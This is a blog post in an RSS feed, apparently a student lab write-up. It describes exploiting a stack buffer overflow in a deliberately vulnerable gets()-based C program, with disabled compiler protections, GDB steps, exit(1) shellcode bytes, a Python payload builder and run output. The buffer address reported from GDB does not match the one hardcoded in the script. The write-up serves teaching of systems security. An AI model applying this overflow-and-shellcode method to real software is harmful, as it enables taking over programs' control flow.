<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Bettina Ligero</title>
    <description>The latest articles on Forem by Bettina Ligero (@bttnlight).</description>
    <link>https://forem.com/bttnlight</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3812798%2F0d8b30c8-f5e2-41c5-972a-bf92172783ea.png</url>
      <title>Forem: Bettina Ligero</title>
      <link>https://forem.com/bttnlight</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/bttnlight"/>
    <language>en</language>
    <item>
      <title>Exploiting a Stack Buffer Overflow to Force Program Termination</title>
      <dc:creator>Bettina Ligero</dc:creator>
      <pubDate>Wed, 11 Mar 2026 12:07:56 +0000</pubDate>
      <link>https://forem.com/bttnlight/exploiting-a-stack-buffer-overflow-to-force-program-termination-55nk</link>
      <guid>https://forem.com/bttnlight/exploiting-a-stack-buffer-overflow-to-force-program-termination-55nk</guid>
      <description>&lt;p&gt;&lt;strong&gt;Machine Problem 1&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Group Members:&lt;/strong&gt; Deen, Ligero, Torres&lt;/p&gt;


&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;This machine problem involved analyzing and exploiting a deliberately vulnerable C program. Under normal execution, the program reads a line of input and then enters an infinite loop, preventing it from terminating on its own. The objective of the exercise was to exploit a stack-based buffer overflow vulnerability to force the program to exit with a status code of &lt;strong&gt;1&lt;/strong&gt;, without modifying the original source code.&lt;/p&gt;

&lt;p&gt;Achieving this required constructing a carefully crafted binary payload, commonly referred to as &lt;strong&gt;shellcode&lt;/strong&gt;, that would overwrite the program’s return address on the stack. By redirecting execution to this injected code, the exploit could hijack the program’s control flow at the assembly level and invoke the Linux &lt;code&gt;exit&lt;/code&gt; system call directly.&lt;/p&gt;
&lt;h2&gt;
  
  
  The Vulnerable Program
&lt;/h2&gt;

&lt;p&gt;The vulnerable program is shown below.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Source file:&lt;/strong&gt; &lt;code&gt;vuln.c&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;gets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The vulnerability arises from the use of the &lt;code&gt;gets()&lt;/code&gt; function. Unlike safer input functions, &lt;code&gt;gets()&lt;/code&gt; performs &lt;strong&gt;no bounds checking&lt;/strong&gt; on the data it reads. Since the buffer declared in the program is only &lt;strong&gt;8 bytes long&lt;/strong&gt;, any input exceeding this length will overflow into adjacent memory on the stack.&lt;/p&gt;

&lt;p&gt;When a buffer overflow occurs in a stack frame, it can overwrite critical values such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the &lt;strong&gt;saved base pointer (EBP)&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;the &lt;strong&gt;saved return address (EIP)&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By overwriting the return address, an attacker can redirect execution to an arbitrary location in memory. In this assignment, the goal was to redirect execution to custom shellcode placed on the stack.&lt;/p&gt;

&lt;h2&gt;
  
  
  Build Configuration
&lt;/h2&gt;

&lt;p&gt;The program was compiled using the command specified in the assignment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcc &lt;span class="nt"&gt;-m32&lt;/span&gt; &lt;span class="nt"&gt;-fno-stack-protector&lt;/span&gt; &lt;span class="nt"&gt;-mpreferred-stack-boundary&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-fno-pie&lt;/span&gt; &lt;span class="nt"&gt;-ggdb&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; execstack &lt;span class="nt"&gt;-std&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;c99 vuln.c &lt;span class="nt"&gt;-o&lt;/span&gt; vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Several compilation flags were intentionally used to simplify exploitation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-m32&lt;/code&gt;&lt;/strong&gt; – Compiles the program as a 32-bit binary, allowing the use of the simpler &lt;code&gt;int 0x80&lt;/code&gt; Linux syscall interface.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-fno-stack-protector&lt;/code&gt;&lt;/strong&gt; – Disables stack canaries that normally detect buffer overflows.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-mpreferred-stack-boundary=2&lt;/code&gt;&lt;/strong&gt; – Simplifies stack alignment for more predictable memory layouts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-fno-pie&lt;/code&gt;&lt;/strong&gt; – Disables position-independent execution so code addresses remain fixed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-z execstack&lt;/code&gt;&lt;/strong&gt; – Marks the stack as executable, allowing injected shellcode to run.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-ggdb&lt;/code&gt;&lt;/strong&gt; – Includes debugging symbols to aid analysis in GDB.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Together, these settings create an environment where stack-based exploitation can be demonstrated more clearly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Discovering the Stack Layout
&lt;/h2&gt;

&lt;p&gt;To determine where the buffer resides in memory, the program was inspected using &lt;strong&gt;GDB&lt;/strong&gt;. A breakpoint was placed at the beginning of the &lt;code&gt;vuln()&lt;/code&gt; function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;break vuln
run
print &amp;amp;buffer
info frame
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This revealed that the buffer was located at the address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0xffffcf38
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Based on the observed stack layout, the exploit payload was structured as follows:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;8 bytes of filler&lt;/strong&gt; – fills the buffer&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;4 bytes of filler&lt;/strong&gt; – overwrites the saved EBP&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;4 bytes&lt;/strong&gt; – overwrites the return address&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;8 bytes of shellcode&lt;/strong&gt; – placed immediately after the return address&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The return address was set to &lt;strong&gt;&lt;code&gt;BUFFER_ADDR + 16&lt;/code&gt;&lt;/strong&gt;, which points to the start of the shellcode. This offset corresponds to the total number of bytes preceding the shellcode in the payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;8 (buffer) + 4 (saved EBP) + 4 (return address) = 16
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Shellcode Design
&lt;/h2&gt;

&lt;p&gt;The shellcode’s purpose was to invoke the Linux system call:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In 32-bit Linux, system calls are triggered using the &lt;code&gt;int 0x80&lt;/code&gt; instruction. The syscall number is stored in the &lt;code&gt;EAX&lt;/code&gt; register, while the first argument is placed in &lt;code&gt;EBX&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For the &lt;code&gt;exit&lt;/code&gt; syscall:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;EAX = 1&lt;/code&gt; (syscall number)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;EBX = 1&lt;/code&gt; (exit status)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The assembly code used was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;xor %eax, %eax
inc %eax
xor %ebx, %ebx
inc %ebx
int 0x80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This sequence:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Clears both registers&lt;/li&gt;
&lt;li&gt;Sets &lt;code&gt;EAX&lt;/code&gt; to the &lt;code&gt;exit&lt;/code&gt; syscall number&lt;/li&gt;
&lt;li&gt;Sets &lt;code&gt;EBX&lt;/code&gt; to the desired exit code&lt;/li&gt;
&lt;li&gt;Invokes the kernel&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The corresponding machine code bytes are:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;31 c0 40 31 db 43 cd 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These bytes were verified by assembling a test file and examining the output using &lt;code&gt;objdump&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Constructing the Exploit Payload
&lt;/h2&gt;

&lt;p&gt;To automate payload creation, a Python script (&lt;code&gt;exploit.py&lt;/code&gt;) was written:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;

&lt;span class="n"&gt;BUFFER_ADDR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xffffc818&lt;/span&gt;
&lt;span class="n"&gt;SHELLCODE&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x31\xc0\x40\x31\xdb\x43\xcd\x80&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;VAPOREON&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;EEVE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;I&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BUFFER_ADDR&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;SHELLCODE&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;egg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The payload consists of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;"VAPOREON"&lt;/code&gt; – fills the 8-byte buffer&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;"EEVE"&lt;/code&gt; – overwrites the saved base pointer&lt;/li&gt;
&lt;li&gt;the calculated return address&lt;/li&gt;
&lt;li&gt;the shellcode&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The return address is encoded using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;I&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This ensures the address is stored in &lt;strong&gt;little-endian format&lt;/strong&gt;, which is required by x86 architectures.&lt;/p&gt;

&lt;p&gt;The final &lt;code&gt;egg&lt;/code&gt; file is &lt;strong&gt;24 bytes&lt;/strong&gt; long.&lt;/p&gt;

&lt;p&gt;Hex representation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;56 41 50 4f 52 45 4f 4e   ← buffer fill
45 45 56 45               ← saved EBP overwrite
28 c8 ff ff               ← return address
31 c0 40 31 db 43 cd 80   ← shellcode
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Execution and Results
&lt;/h2&gt;

&lt;p&gt;The exploit was tested within GDB by redirecting the payload as standard input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;set disable-randomization on
run &amp;lt; egg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The program produced the following output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[Inferior 1 (process 31619) exited with code 01]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This confirms that the shellcode executed successfully and the program terminated with the required exit code.&lt;/p&gt;

&lt;p&gt;Proof artifact:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8539ghhjoq9o0lyl9xi6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8539ghhjoq9o0lyl9xi6.png" alt=" " width="704" height="605"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  ASLR Behavior Outside GDB
&lt;/h2&gt;

&lt;p&gt;Although the exploit worked reliably inside GDB, running the program normally produced different results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./vuln &amp;lt; egg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of exiting with code &lt;code&gt;1&lt;/code&gt;, the program terminated with &lt;strong&gt;exit code 139&lt;/strong&gt;, indicating a &lt;strong&gt;segmentation fault&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This behavior occurs because &lt;strong&gt;Address Space Layout Randomization (ASLR)&lt;/strong&gt; remains enabled outside GDB. ASLR randomizes memory addresses, including stack locations, each time a program runs.&lt;/p&gt;

&lt;p&gt;When debugging in GDB, ASLR is typically disabled, which keeps stack addresses consistent between runs. This stability allows the exploit’s hardcoded return address to reliably point to the shellcode.&lt;/p&gt;

&lt;p&gt;Outside the debugger, however, the buffer’s address changes on every execution. As a result, the return address in the payload often points to an invalid location, causing the program to crash instead of executing the shellcode.&lt;/p&gt;

&lt;h2&gt;
  
  
  Team Collaboration
&lt;/h2&gt;

&lt;p&gt;The group collaborated on this machine problem using a shared GitHub repository. Source files—including &lt;code&gt;vuln.c&lt;/code&gt;, &lt;code&gt;exploit.py&lt;/code&gt;, and the generated &lt;code&gt;egg&lt;/code&gt; file—were committed and pushed to the repository so that all members could access the latest version of the exploit and test it on their own systems.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This machine problem demonstrated how a single unsafe function call—&lt;code&gt;gets()&lt;/code&gt;—can expose a program to severe security vulnerabilities. By exploiting a stack-based buffer overflow, it was possible to overwrite a function’s return address and redirect execution to custom shellcode.&lt;/p&gt;

&lt;p&gt;Through this process, the group successfully forced the program to terminate with exit code &lt;strong&gt;1&lt;/strong&gt;, despite the program’s infinite loop. The exercise reinforced several key concepts in systems security, including stack memory layout, x86 calling conventions, Linux system calls, and the mechanics of constructing binary exploitation payloads.&lt;/p&gt;

&lt;h2&gt;
  
  
  Notes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The buffer address may vary across different environments. If running the program on another system or outside GDB, the address should be rechecked using:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;print&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;After updating the address in &lt;code&gt;exploit.py&lt;/code&gt;, regenerate the payload by running:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 exploit.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>bufferoverflow</category>
      <category>binaryexploitation</category>
      <category>stackoverflowexploit</category>
    </item>
  </channel>
</rss>
